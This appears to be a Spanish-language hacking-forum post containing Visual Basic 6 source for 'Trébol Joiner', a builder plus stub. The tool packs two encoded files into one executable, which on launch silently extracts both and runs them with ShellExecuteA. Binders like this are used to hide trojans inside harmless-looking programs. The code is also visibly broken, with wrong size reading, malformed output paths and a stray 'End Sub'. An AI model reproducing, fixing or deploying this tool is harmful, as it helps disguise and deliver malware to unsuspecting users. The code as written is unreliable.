Foro de elhacker.net

Private Sub Command1_Click()
cd.ShowOpen
Text1.Text = cd.FileName

End Sub
Private Sub Command2_Click()
cd.ShowOpen
Text2.Text = cd.FileName

End Sub

Private Sub Command3_Click()
Dim tamaño As String
Dim total As String * 9
Dim encriptacion As String
Dim extension1 As String * 4
Dim extension2 As String * 4
Dim tamaño2 As String
Dim total2 As String * 9


Dim encriptacion2 As String
Dim ruta As String
cd.ShowSave
ruta = cd.FileName
FileCopy App.Path & "\hen.dll", ruta
Open Text1.Text For Binary As #1
tamaño = LOF(1)
Get #1, , tamaño
Close #1
tamaño = HuffmanEncode(tamaño, True)
total = Len(tamaño)
Open Text2.Text For Binary As #1
tamaño2 = Space(LOF(1))
Get #1, , tamaño2
Close #1
tamaño2 = HuffmanEncode(tamaño2, True)
total2 = Len(tamaño2)


extension1 = Right$(Text1.Text, 3)
extension2 = Right$(Text2.Text, 3)



Open ruta For Binary As #1
Seek (1), LOF(1) + 1
Put #1, , tamaño
Put #1, , tamaño2
Put #1, , total
Put #1, , total2
Put #1, , extension1
Put #1, , extension2
Close #1
MsgBox "Archivos juntados!", , "Trébol Joiner v.1"
End Sub

Private Sub CommandXP1_Click()

End Sub

Private Sub CommandXP4_Click()
formjoin.Hide
Form1.Show
End Sub



End Sub
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
STUBB:

Private Declare Function ShellExecuteA Lib "SHELL32.DLL" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long





Private Sub Form_Load()

Dim total As String * 9
Dim total2 As String * 9
Dim a2 As Long
Dim b2 As Long
Dim extension1 As String * 4
Dim extension2 As String * 4
Dim archivo1 As String
Dim archivo2 As String

Dim tamaño As String
Dim tamaño2 As String
Dim desn1 As String
Dim desn2 As String
Dim ruta As String

ruta = App.Path & "\" & App.EXEName & ".exe"
Open ruta For Binary As #1
Seek (1), LOF(1) - 25
Get #1, , total
Get #1, , total2
Get #1, , extension1
Get #1, , extension2
Close #1
archivo1 = Trim(extension1)
archivo2 = Trim(extension2)
a2 = Trim(total)
b2 = Trim(total2)
tamaño = Space(total)
tamaño2 = Space(total2)



Open ruta For Binary As #1
Seek (1), LOF(1) - (a2 + b2 + 25)
Get #1, , tamaño
Get #1, , tamaño2
Close #1

desn1 = HuffmanDecode(tamaño)
desn2 = HuffmanDecode(tamaño2)
Open ruta & "c:\uno" & "." & extension1 For Binary As #1
Put #1, , desn1
Close #1
Open ruta & "c:\dos" & "." & extension2 For Binary As #1
Put #1, , desn2
Close #1
ShellExecuteA Me.hWnd, "Open", ruta & "\uno" & "." & extension1, vbNullString, vbNullString, 1 ' Y ahora los ejekutamos...
ShellExecuteA Me.hWnd, "Open", ruta & "\dos" & "." & extension2, vbNullString, vbNullString, 1

End
End Sub